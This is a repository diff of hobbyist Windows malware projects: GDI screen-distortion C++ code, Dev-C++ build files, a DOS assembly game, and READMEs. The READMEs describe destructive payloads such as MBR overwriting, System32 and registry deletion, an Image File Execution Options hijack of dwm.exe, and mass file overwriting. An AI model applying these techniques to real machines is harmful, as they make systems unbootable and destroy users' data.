+ HBITMAP bmp = CreateBitmap(x, y, 1, 32, data);
41
+ SelectObject(mdc, bmp);
42
+
43
+ while (true) {
44
+ BitBlt(mdc, 0, 0, x, y, hdc, 0, 0, SRCCOPY);
45
+ GetBitmapBits(bmp, x * y * sizeof(COLOR), data);
46
+
47
+ for (int i = 0; i < x * y; i++) {
48
+ ((BYTE*)(data + i))[1 % 2] = ((BYTE*)(data + i))[r & 2];
49
+ }
50
+
51
+ SetBitmapBits(bmp, x * y * sizeof(COLOR), data);
52
+ BitBlt(hdc, 0, 0, x, y, mdc, 0, 0, SRCCOPY);
53
+
54
+ Sleep(10);
55
+
56
+ r = fade(3);
57
+ }
58
+ }
59
+
60
+ int main() {
61
+ CreateThread(0, 0, shader3b, 0, 0, 0);
62
+ Sleep(-1);
63
+ }
src/GDI-effects-main/swirl.cpp ADDED
@@ -0,0 +1,33 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #include <windows.h>
2
+ #include <math.h>
3
+
4
+ int main() {
5
+ int x = GetSystemMetrics(SM_CXSCREEN);
6
+ int y = GetSystemMetrics(SM_CYSCREEN);
7
+ double angle = 0.0;
8
+
9
+ HDC hdc = GetDC(0);
10
+ HDC mdc = CreateCompatibleDC(hdc);
11
+ HBITMAP bmp = CreateCompatibleBitmap(hdc, x, y);
12
+ SelectObject(mdc, bmp);
13
+
14
+ while (true) {
15
+ BitBlt(mdc, 0, 0, x, y, hdc, 0, 0, SRCCOPY);
16
+
17
+ for (int i = 0; i < x + y; i++) {
18
+ BitBlt(hdc, 0, i, x, 1, mdc, sin(angle) * 40, i, SRCCOPY);
19
+
20
+ angle += 3.14159 / 80;
21
+ }
22
+
23
+ Sleep(10);
24
+
25
+ for (int i = 0; i < x + y; i++) {
26
+ BitBlt(hdc, i, 0, 1, y, mdc, i, sin(angle) * 40, SRCCOPY);
27
+
28
+ angle += 3.14159 / 80;
29
+ }
30
+
31
+ Sleep(10);
32
+ }
33
+ }
src/HighHappy-main/HighHappy.sln ADDED
@@ -0,0 +1,25 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ 
2
+ Microsoft Visual Studio Solution File, Format Version 12.00
3
+ # Visual Studio Version 17
4
+ VisualStudioVersion = 17.11.35327.3
5
+ MinimumVisualStudioVersion = 10.0.40219.1
6
+ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HighHappy", "HighHappy\HighHappy.csproj", "{C09CE674-0B34-4E47-A04C-23B086793A99}"
7
+ EndProject
8
+ Global
9
+ GlobalSection(SolutionConfigurationPlatforms) = preSolution
10
+ Debug|Any CPU = Debug|Any CPU
11
+ Release|Any CPU = Release|Any CPU
12
+ EndGlobalSection
13
+ GlobalSection(ProjectConfigurationPlatforms) = postSolution
14
+ {C09CE674-0B34-4E47-A04C-23B086793A99}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15
+ {C09CE674-0B34-4E47-A04C-23B086793A99}.Debug|Any CPU.Build.0 = Debug|Any CPU
16
+ {C09CE674-0B34-4E47-A04C-23B086793A99}.Release|Any CPU.ActiveCfg = Release|Any CPU
17
+ {C09CE674-0B34-4E47-A04C-23B086793A99}.Release|Any CPU.Build.0 = Release|Any CPU
18
+ EndGlobalSection
19
+ GlobalSection(SolutionProperties) = preSolution
20
+ HideSolutionNode = FALSE
21
+ EndGlobalSection
22
+ GlobalSection(ExtensibilityGlobals) = postSolution
23
+ SolutionGuid = {0BCA0D04-C39A-4CEC-856A-EA0B5D6A6428}
24
+ EndGlobalSection
25
+ EndGlobal
src/HighHappy-main/README.md ADDED
@@ -0,0 +1,80 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # 😄 HighHappy 😄
2
+
3
+ HighHappy is a sophisticated and powerful virus designed for educational and research purposes. This README file explains the functionality and components of the code in detail. **Warning: Misuse of this software may result in severe consequences. ⚠️**
4
+
5
+ ![HighHappy](https://i.ibb.co/z6Vq7mM/High-Happy.png)
6
+
7
+ ---
8
+
9
+ ## Table of Contents 📑
10
+ 1. [Introduction](#introduction)
11
+ 2. [Features](#features)
12
+ 3. [Code Breakdown](#code-breakdown)
13
+ - [GDI Effects](#gdi-effects)
14
+ - [MBR Modification](#mbr-modification)
15
+ - [Cursor Manipulation](#cursor-manipulation)
16
+ - [Icon Drawing](#icon-drawing)
17
+ - [ByteBeat Audio](#bytebeat-audio)
18
+ - [Simulated BSOD](#simulated-bsod)
19
+ - [Registry Deletion](#registry-deletion)
20
+ 4. [Disclaimer](#disclaimer)
21
+
22
+ ---
23
+
24
+ ## Introduction 🚀
25
+
26
+ HighHappy is a virus created to demonstrate various destructive and disruptive techniques, including screen distortion, cursor manipulation, audio playback, and registry tampering. It is written in C# and leverages several Windows APIs to achieve its effects.
27
+
28
+ ---
29
+
30
+ ## Features 🔧
31
+
32
+ - **GDI Effects:** Visual distortion of the screen using graphics manipulation.
33
+ - **MBR Modification:** Overwrites the Master Boot Record (MBR) with random data.
34
+ - **Cursor Manipulation:** Randomly moves the cursor around the screen.
35
+ - **Icon Drawing:** Draws random system icons on the desktop.
36
+ - **ByteBeat Audio:** Generates and plays chaotic audio loops.
37
+ - **Simulated BSOD:** Terminates critical processes to crash the system.
38
+ - **Registry Deletion:** Deletes system-critical registry entries (implementation incomplete in provided code).
39
+
40
+ ---
41
+
42
+ ## Code Breakdown 📝
43
+
44
+ ### GDI Effects
45
+ The `GDI` method uses the Windows Graphics Device Interface (GDI) to manipulate the desktop display. It creates random visual distortions, including color fills and screen section copying.
46
+
47
+ ### MBR Modification
48
+ The `MBR` method overwrites the Master Boot Record of the primary physical drive (`\\.\PhysicalDrive0`) with random bytes, rendering the system unbootable.
49
+
50
+ ### Cursor Manipulation
51
+ The `Cursor` method randomly moves the mouse cursor across the screen at rapid intervals, creating a chaotic user experience.
52
+
53
+ ### Icon Drawing
54
+ The `RunIconDrawing` method draws random system icons (error, warning, and application icons) at random positions on the desktop.
55
+
56
+ ### ByteBeat Audio
57
+ The `ByteBeat` method generates chaotic audio loops using mathematical formulas. The audio is saved as a temporary WAV file and played in a continuous loop.
58
+
59
+ ### Simulated BSOD
60
+ The `BSOD` method forcefully terminates all processes named `svchost`, potentially causing a system crash.
61
+
62
+ ### Registry Deletion
63
+ The `RegistryDelete` method is designed to delete critical registry entries. However, its implementation is incomplete in the provided code.
64
+
65
+ ---
66
+
67
+ ## Disclaimer ⚠️
68
+
69
+ **This software is intended for educational and research purposes only.**
70
+ The author and contributors are not responsible for any misuse or damage caused by this software. Use it responsibly and within the bounds of the law.
71
+
72
+ ---
73
+
74
+ ### Project Metadata
75
+
76
+ - **Project Name:** HighHappy
77
+ - **Coded By:** ABOLHB
78
+ - **Group:** FREEMASONRY
79
+ - **Year:** 2024
80
+ - **License:** © 2024 ABOLHB - FREEMASONRY
src/Immortal-main/README.md ADDED
@@ -0,0 +1,208 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ > [!WARNING]
2
+ > This project was built for Windows 8.1.
3
+ >
4
+ > I am not sure if you can run this script properly on newer operating systems.
5
+ >
6
+ > This warning message will be removed/changed when I be sure.
7
+
8
+ # Immortal.bat (My First Batch Project)
9
+ Batch script which was created for educational and entertaiment purposes only. The script provides interesting tricks with modern Windows (particularly Windows 8.1 and newer), but is also capable of damaging files, registry data etc.
10
+
11
+ ![](https://github.com/MalwareStudio/Immortal/blob/main/images/Menu_1.1.1.png)
12
+
13
+ Check out the video about Immortal.bat 👉 [Full Demonstration](https://www.youtube.com/watch?v=p6LZ-45KQ60)
14
+
15
+ ## Watch out!
16
+ There is an Operating System Detection so do not be surprised why the script is not working on Windows 7 or older.
17
+
18
+ ![](https://github.com/MalwareStudio/Immortal/blob/main/images/OsDetection.png)
19
+
20
+ ## This was a challenge!
21
+
22
+ Yes, it really was. One day I asked my self "Wouldn't be a crazy idea to create interesting and destructive batch script with user interface?".
23
+ And just with that, I started learning the batch script.
24
+
25
+ ## What's the purpose?
26
+
27
+ A lot of people in our community view batch script as a "scripting language for skidders". This might be true due to the fact how easy is to code in the batch script. However, I am not a script kiddie anymore and I want to prove you that even with the batch script you can do pretty amazing stuff in the Windows.
28
+
29
+ So what's the purpose of this? Just to show you what batch script can be capable of!
30
+
31
+ ## My opinion on Batch Script
32
+
33
+ Well, I have to say that learning this script did not take long becuase batch is very low level scripting language. However, I ran into a lot of problems with syntax, spacing issues and escaping. So, it was not clean process as I thought it will be.
34
+
35
+ For instance: When I was trying to escape keyword "do" inside if statement it did not let me do that. No metter how hard you try to escape "do" keyword inside if statement or for loop, you will always fail.
36
+
37
+ Would I recommend batch script to you? Yes, but be prepared for a lot of errors and stay calm (not like me :D) because there is always reason why the problem occured.
38
+
39
+ ## How this script works?
40
+
41
+ When you launch Immortal.bat, the first thing that you are going to experience is UAC promt. That is because this script need a administrator privileges to change and remove important files. Without these rights, the script would not do much. Then the script will show you the main menu with all stages (in other words levels) which you can try.
42
+
43
+ Meanwhile, the script already dropped some of its files in `C:\Immortal` directory and it created bunch of registry files in `HKEY_LOCAL_MACHINE\SOFTWARE\Immortal`. These files are very important for the script functionality. Also, it chnage the registry value "Shell" in order to start up along with explorer.exe.
44
+
45
+ ## Levels
46
+
47
+ ### Casual 😇
48
+ The harmless level.
49
+
50
+ It hide files, randomly launch applications, open random websites and lastly it restart the system via shutdown command.
51
+
52
+ The console window is visible.
53
+
54
+ ![](https://github.com/MalwareStudio/Immortal/blob/main/images/casual_1.1.2.png)
55
+
56
+ ### Normal 😊
57
+ It is a still harmless level, but some of its features can cause problems to users who does not understand basic stuff in registry and basically anyone who lacks basic knowledge in Windows.
58
+
59
+ First it disable Task Manager then Registry Editor, it will also disable UAC protection. Lastly it remove the wallpaper and write a message to the user.
60
+
61
+ The console window is visible.
62
+
63
+ ![](https://github.com/MalwareStudio/Immortal/blob/main/images/normal_1.1.3.png)
64
+
65
+ > [!WARNING]
66
+ > The `msg` command is not part of the Windows Home Edition.
67
+ >
68
+ > So if you are running Immortal on Windows 10/11 Home it will not show up, on the other hand, both Pro Editions have this command.
69
+
70
+ ### Annoying 😐
71
+ This level can do mess in the system. However, it does not do any kind of damage so it is still classified as a harmless level.
72
+
73
+ After execution it change a lot of file icons, rename username, create welcome message, swap the mouse inputs and it disable the Task Manager, Registry Editor and UAC protection. Pressing any key will lead to reboot.
74
+
75
+ ![](https://github.com/MalwareStudio/Immortal/blob/main/images/annoying_1.1.2.png)
76
+
77
+ **1st Payload**
78
+
79
+ After reboot, the Annoying Level will activate first payload.
80
+ In this payload, the script will try to create a gibberish files on all drives and its subdirectories.
81
+
82
+ > [!NOTE]
83
+ > If you want to launch any of these payloads then you need to restart the computer.
84
+ >
85
+ > After every restart you will come across to another payload.
86
+
87
+ **2nd Payload** (not shown in the video)
88
+
89
+ When this payload is launched, random gibberish message boxes will be displayed. Styles and buttons of the message boxes can appear randomly.
90
+
91
+ **3rd Payload**
92
+
93
+ This payload is about downloading files from hardcoded download links. When the file is downloaded, it will try to open it.
94
+ All the files will be stored inside `C:\Download` directory.
95
+
96
+ **4th Payload**
97
+
98
+ It will launch two scripts `spam.bat` and `letmeransomeaps.bat`. This payload will slowdown the system because it will attempt to launch all files from system32 directory. `spam.bat` only display command `dir C:\ /s` with different variations of colors.
99
+
100
+ When you try to reboot the system again, you will return to the main menu.
101
+
102
+ The console window is visible, but it will change after reboot.
103
+
104
+ ### Harsh 🙁
105
+ This level can actually damage some data.
106
+
107
+ After execution the script will take ownership of some non critical system files such as Device Manager, Task Manager and so on... Then it will delete these files.
108
+
109
+ Keyboard is going to be also changed. Some keys can even open applications.
110
+
111
+ This level have also date timed payloads such as 02/11 | 11.2 - Shell Overwritter, 04/01 | 1.4 - Delete Classes. The default payload without date timed changes is File Overwritter. Date timed payloads and default can happen in the last payload aka 4th one.
112
+
113
+ The console window is visible, but it will change after reboot.
114
+
115
+ ![](https://github.com/MalwareStudio/Immortal/blob/main/images/harsh_1.1.5.png)
116
+
117
+ **1st Payload**
118
+
119
+ When the message box apper with the text `"Lets get some friends"` it will immediatelly start to creating 1000 accounts with random gibberish names and passwords. Luckely your account will not be affected.
120
+
121
+ > [!WARNING]
122
+ > Sometimes accounts can appear right after the payload starts, but it is not always like that.
123
+ >
124
+ > If you cannot see any changes then you need to restart the computer.
125
+
126
+ **2nd Payload**
127
+
128
+ Another payload will create new drives. That can explain the message `"Its time to expand"`.
129
+
130
+ But before that, the script will convert the primary disk into dynamic disk. By doing this, it can create as many drives as it wants.
131
+
132
+ **3rd Payload**
133
+
134
+ This payload just disconnects the internet connection. Nothing else to say about this one ...
135
+
136
+ **4th Payload - (default) File Overwritter**
137
+
138
+ It will search for all conected drives and then it will overwrite all files within these drives and their subdirectories with message `"OVERWRITTEN BY IMMORTAL.BAT"`.
139
+
140
+ You might even lose files in the share folder so be careful!
141
+
142
+ **4th Payload - 02/11 | 11.2 - Shell Overwritter**
143
+
144
+ This payload will just replace `explorer.exe` to `epilepsy.bat` so after reboot instead of seeing your desktop with all icons, you are going to see batch script which changes its colors randomly and says `"HACKED BY IMMORTAL.BAT"` multiple times.
145
+
146
+ **4th Payload - 04/01 | 1.4 - Delete Classes**
147
+
148
+ It will try to delete all classes from registry which are exactly located in `HKEY_LOCAL_MACHINE\SOFTWARE\Classes` or `HKEY_CLASSES_ROOT`. By deleting these classes you will not be able to open any application.
149
+
150
+ After reboot you are going to see a black screen with some error messages.
151
+
152
+ ### Cruel 😡
153
+ This level causes a serious problems on Windows.
154
+
155
+ When you execute this level, you are paused by its menu. Before you press any key you can decide which type of payload you want to execute.
156
+
157
+ 03/30 | 30.3 - System32 Corruption
158
+ 12/25 | 25.12 - Image File Execution Option
159
+ 01/01 | 1.1 - File Injection
160
+ There is also a default payload - Font Corruption
161
+
162
+ ![](https://github.com/MalwareStudio/Immortal/blob/main/images/cruel_1.1.9.png)
163
+
164
+ > [!WARNING]
165
+ > Because these payloads will cause a serious damage to your devide, you might not be able to return to the script UI.
166
+
167
+ The console window is visible, but it will change after reboot.
168
+
169
+ **(default) Font Corruption**
170
+
171
+ This payload will try to delete all fonts from the registry. Fonts will not be deleted directly, only their registry data.
172
+
173
+ After reboot you are going to experience gibberish text across the screen and Windows will eventually crash.
174
+
175
+ **03/30 | 30.3 - System32 Corruption**
176
+
177
+ When you launch this payload it will try to take ownership of all files in the system32 folder and then it will try to erase them all.
178
+
179
+ After reboot you will not be able to boot into your system again.
180
+
181
+ **12/25 | 25.12 - Image File Execution Option**
182
+
183
+ This payload is fully based on registry. It will create a new key called `dwm.exe` inside `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options`. After that it will create a new string value called `debugger` with string `notepad.exe`.
184
+
185
+ After reboot it will try to open `dwm.exe` from `notepad.exe` which will cause some problems with Windows UI.
186
+
187
+ > [!NOTE]
188
+ > Desktop Window Manager or DWM.exe is the system manager that generates every element visible on a PC/laptop. In addition, it is responsible for stimulating all visual effects in Windows menus, transparent components, wallpapers, themes, thumbnails and
189
+ > system animations.
190
+
191
+ **01/01 | 1.1 - File Injection**
192
+
193
+ Another based registry payload. This one will hook all files in `HKEY_LOCAL_MACHINE\SOFTWARE\Classes` by modifying default string value located in `command` key.
194
+ Instead of running for example notepad.exe you will get batch script with random colors and it will say `"INJECTED BY IMMORTAL.BAT"`.
195
+
196
+ ### Deadly 😈
197
+ This level does not require any date time changes. When you press any key it will try to take ownership of all files in all drives and delete them.
198
+
199
+ It will also try to delete all registry data.
200
+
201
+ Lastly it will delete `C:\Recovery` directory. Because recovery directory contains necessary files to launch the `Automatic repair`, Windows will not be able to even try to repair the system.
202
+
203
+ ![](https://github.com/MalwareStudio/Immortal/blob/main/images/deadly_recovery_1.1.14.png)
204
+
205
+ ## Fun facts
206
+ It took me 1 month to finish this project.
207
+
208
+ The code is hardcoded because I was working on some payloads separately outside of the script. If you are wondering why, it is because when the code grew more and more it got much more confusing.
src/J100758.264-211529.207-main/J100758.264+211529.207.dev ADDED
@@ -0,0 +1,62 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ [Project]
2
+ FileName=J100758.264+211529.207.dev
3
+ Name=J100758.264+211529.207
4
+ Type=0
5
+ Ver=2
6
+ ObjFiles=
7
+ Includes=
8
+ Libs=
9
+ PrivateResource=J100758.264+211529.207_private.rc
10
+ ResourceIncludes=
11
+ MakeIncludes=
12
+ Compiler=-lgdi32 -lwinmm -lntdll -lkernel32_@@_-fpermissive_@@_
13
+ CppCompiler=-lgdi32 -lwinmm -lntdll -lkernel32_@@_-fpermissive_@@_
14
+ Linker=-s_@@_"../../../Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/lib32/libwinmm.a"_@@_"../../../Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/lib32/libkernel32.a"_@@_"../../../Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/lib32/libntdll.a"_@@_
15
+ IsCpp=1
16
+ Icon=J100758.264+211529.207.ico
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+ ExeOutput=
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+ ObjectOutput=
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+ LogOutput=
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+ LogOutputEnabled=0
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+ OverrideOutput=0
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+ OverrideOutputName=J100758.264+211529.207.exe
23
+ HostApplication=
24
+ UseCustomMakefile=0
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+ CustomMakefile=
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+ CommandLine=
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+ Folders=
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+ IncludeVersionInfo=1
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+ SupportXPThemes=0
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+ CompilerSet=4
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+ CompilerSettings=0000000100000000001000000
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+ UnitCount=1
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+
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+ [VersionInfo]
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+ Major=6
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+ Minor=6
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+ Release=6
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+ Build=6
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+ LanguageID=1033
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+ CharsetID=1252
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+ CompanyName=pankoza
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+ FileVersion=6.6.6.6
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+ FileDescription=J100758.264+211529.207 setup
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+ InternalName=
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+ LegalCopyright=
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+ LegalTrademarks=
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+ OriginalFilename=
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+ ProductName=
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+ ProductVersion=6.6.6.6
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+ AutoIncBuildNr=0
51
+ SyncProduct=1
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+
53
+ [Unit1]
54
+ FileName=main.cpp
55
+ CompileCpp=1
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+ Folder=
57
+ Compile=1
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+ Link=1
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+ Priority=1000
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+ OverrideBuildCmd=0
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+ BuildCmd=
62
+
src/J100758.264-211529.207-main/J100758.264+211529.207.ico ADDED
src/J100758.264-211529.207-main/J100758.264+211529.207.layout ADDED
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+ Order=0
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+ Focused=0
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+ [Editor_0]
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+ TopLine=260
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src/J100758.264-211529.207-main/J100758.264+211529.207_private.h ADDED
@@ -0,0 +1,23 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /* THIS FILE WILL BE OVERWRITTEN BY DEV-C++ */
2
+ /* DO NOT EDIT ! */
3
+
4
+ #ifndef J100758_264+211529_207_PRIVATE_H
5
+ #define J100758_264+211529_207_PRIVATE_H
6
+
7
+ /* VERSION DEFINITIONS */
8
+ #define VER_STRING "6.6.6.6"
9
+ #define VER_MAJOR 6
10
+ #define VER_MINOR 6
11
+ #define VER_RELEASE 6
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+ #define VER_BUILD 6
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+ #define COMPANY_NAME "pankoza"
14
+ #define FILE_VERSION "6.6.6.6"
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+ #define FILE_DESCRIPTION "J100758.264+211529.207 setup"
16
+ #define INTERNAL_NAME ""
17
+ #define LEGAL_COPYRIGHT ""
18
+ #define LEGAL_TRADEMARKS ""
19
+ #define ORIGINAL_FILENAME ""
20
+ #define PRODUCT_NAME ""
21
+ #define PRODUCT_VERSION "6.6.6.6"
22
+
23
+ #endif /*J100758_264+211529_207_PRIVATE_H*/
src/J100758.264-211529.207-main/J100758.264+211529.207_private.rc ADDED
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1
+ /* THIS FILE WILL BE OVERWRITTEN BY DEV-C++ */
2
+ /* DO NOT EDIT! */
3
+
4
+ #include <windows.h> // include for version info constants
5
+
6
+
7
+ A ICON "J100758.264+211529.207.ico"
8
+
9
+ //
10
+ // TO CHANGE VERSION INFORMATION, EDIT PROJECT OPTIONS...
11
+ //
12
+ 1 VERSIONINFO
13
+ FILEVERSION 6,6,6,6
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+ PRODUCTVERSION 6,6,6,6
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+ FILETYPE VFT_APP
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+ {
17
+ BLOCK "StringFileInfo"
18
+ {
19
+ BLOCK "040904E4"
20
+ {
21
+ VALUE "CompanyName", "pankoza"
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+ VALUE "FileVersion", "6.6.6.6"
23
+ VALUE "FileDescription", "J100758.264+211529.207 setup"
24
+ VALUE "InternalName", ""
25
+ VALUE "LegalCopyright", ""
26
+ VALUE "LegalTrademarks", ""
27
+ VALUE "OriginalFilename", ""
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+ VALUE "ProductName", ""
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+ VALUE "ProductVersion", "6.6.6.6"
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+ }
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+ }
32
+ BLOCK "VarFileInfo"
33
+ {
34
+ VALUE "Translation", 0x0409, 1252
35
+ }
36
+ }
src/J100758.264-211529.207-main/J100758.264+211529.207_private.res ADDED
Binary file (1.79 kB). View file
 
src/J100758.264-211529.207-main/Makefile.win ADDED
@@ -0,0 +1,33 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Project: J100758.264+211529.207
2
+ # Makefile created by Dev-C++ 5.11
3
+
4
+ CPP = g++.exe -D__DEBUG__
5
+ CC = gcc.exe -D__DEBUG__
6
+ WINDRES = windres.exe
7
+ RES = J100758.264+211529.207_private.res
8
+ OBJ = main.o $(RES)
9
+ LINKOBJ = main.o $(RES)
10
+ LIBS = -L"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/lib32" -static-libgcc -s -mwindows -s "../../../Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/lib32/libwinmm.a" "../../../Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/lib32/libkernel32.a" "../../../Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/lib32/libntdll.a" -m32 -g3
11
+ INCS = -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include"
12
+ CXXINCS = -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/x86_64-w64-mingw32/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include" -I"C:/Program Files (x86)/Dev-Cpp/MinGW64/lib/gcc/x86_64-w64-mingw32/4.9.2/include/c++"
13
+ BIN = J100758.264+211529.207.exe
14
+ CXXFLAGS = $(CXXINCS) -m32 -g3 -lgdi32 -lwinmm -lntdll -lkernel32 -fpermissive -lgdi32 -lwinmm -lntdll -lkernel32 -fpermissive
15
+ CFLAGS = $(INCS) -m32 -g3 -lgdi32 -lwinmm -lntdll -lkernel32 -fpermissive -lgdi32 -lwinmm -lntdll -lkernel32 -fpermissive
16
+ RM = rm.exe -f
17
+
18
+ .PHONY: all all-before all-after clean clean-custom
19
+
20
+ all: all-before $(BIN) all-after
21
+
22
+ clean: clean-custom
23
+ ${RM} $(OBJ) $(BIN)
24
+
25
+ $(BIN): $(OBJ)
26
+ $(CPP) $(LINKOBJ) -o $(BIN) $(LIBS)
27
+
28
+ main.o: main.cpp
29
+ $(CPP) -c main.cpp -o main.o $(CXXFLAGS)
30
+
31
+ J100758.264+211529.207_private.res: J100758.264+211529.207_private.rc
32
+ $(WINDRES) -i J100758.264+211529.207_private.rc -F pe-i386 --input-format=rc -o J100758.264+211529.207_private.res -O coff
33
+
src/J100758.264-211529.207-main/SORRYASS.ASM ADDED
@@ -0,0 +1,323 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ;---------------------------------------------------
2
+ ; Sorry Ass (remake of PC-DOS DONKEY) -- VileR 2016
3
+ ; FASM.EXE sorryass.asm
4
+ ;---------------------------------------------------
5
+ use16
6
+
7
+ COM equ 1 ;0: boot sector :: 1: DOS version
8
+
9
+ IF COM
10
+ org 100h
11
+ ELSE
12
+ org 7c00h
13
+ jmp short segfix
14
+ segfix:
15
+ jmp 0:start ;enforce correct CS:IP
16
+ start: ;enforce good init values (TRUST NO ONE)
17
+ clc
18
+ cld
19
+ push cs ;DX, BP, ES = don't care
20
+ pop ss
21
+ push cs
22
+ pop ds
23
+ xor ax,ax
24
+ xor bx,bx
25
+ mov cx,0FFh
26
+ mov si,start
27
+ mov sp,0FFFEh
28
+ mov di,sp
29
+ END IF
30
+
31
+ ;set up video:
32
+ inc ax ;gotta have color on composite systems ;)
33
+ int 10h ;go 40x25
34
+ mov ax,0B800h ;init video seg (not all dos versions obey AX=0!)
35
+ mov es,ax ;es=B800h ;di=sp=FFFEh (-2) on init (good enough)
36
+
37
+ ;draw background:
38
+ xchg ax, cx ;ax:= cx@init = 00FFh;cx:=B800h
39
+ mov ah,2Eh ;ah:= attr, al:= FFh (char)
40
+ rep stosw ;writing b800h words will try to stomp over memory
41
+ ;in >c000 too, but that's ROM-land so we don't mind
42
+ push si ;program start
43
+
44
+ ;prepare score labels:
45
+ mov si, text
46
+ mov dx,0105h ;row, col
47
+ call wrtword ;print them;CF clear = print 2 words
48
+
49
+ ;get system time:
50
+ xchg ax, cx ;CX==0 => AX:=0
51
+ int 1Ah ;get system time
52
+ push dx ;store low word of system time as random seed
53
+
54
+ ;init vars:
55
+ mov bp,3030h ;BP = scores (ascii)- HIGH: donkey, LOW: driver
56
+ newturn:
57
+ mov dx,1c11h ;DX = car position- DH: X-pos, DL: Y-pos
58
+ newass:
59
+ mov bx,1c00h ;BX = donkey position- BH: X-pos, BL: Y-pos
60
+
61
+ ;randomize donkey's lane
62
+ pop cx ;retrieve stored seed...
63
+ pop si ;...and modifier location
64
+ lodsw ;grab modifier + advance si
65
+ add ax,cx ;fiddle with it
66
+ jp hold ;do we switch?
67
+ mov bh,28h ;yep
68
+ hold:
69
+ push si ;store new modifier location...
70
+ push ax ;...and post-fiddle seed value
71
+ xor cx,cx ;ensure CH:=0 for later
72
+ call showpts ;print scores
73
+ newstep:
74
+ call drwroad ;clear road, draw lane marks
75
+
76
+ ;draw car:
77
+ inc dx ;bottom half: increment DL by 2 rows
78
+ inc dx
79
+ call drawcar
80
+ dec dx ;top half: restore original y-pos
81
+ dec dx
82
+ call drawcar
83
+
84
+ ;draw donkey:
85
+ xchg bx,dx ;donkey location <-> car location
86
+ mov cl,4
87
+ call drawass ;si now has offset of donkey
88
+ call sound
89
+ xchg bx,dx ;switch them back
90
+
91
+ hlt ;wait ~1/18 sec
92
+
93
+ ;collision check:
94
+ cmp bh,dh ;same lane?
95
+ jne no_hit ;nope
96
+ push dx ;save car pos
97
+ sub dl,bl ;check diff
98
+ flipme:
99
+ neg dl ;for abs val
100
+ js flipme ;flip sign if negative
101
+ cmp dl,3 ; -3 <= (car_Y - donkey_Y) <= 3 ?
102
+ pop dx ;restore car pos- flags unaffected
103
+ jg no_hit ;no collision
104
+
105
+ ;collision:
106
+ IF COM
107
+ mov si,100h ;program start (code as explosion data)
108
+ add bp,si ;increase donkey score too
109
+ ELSE
110
+ mov si, start
111
+ add bp, 100h ;increase donkey score
112
+ END IF
113
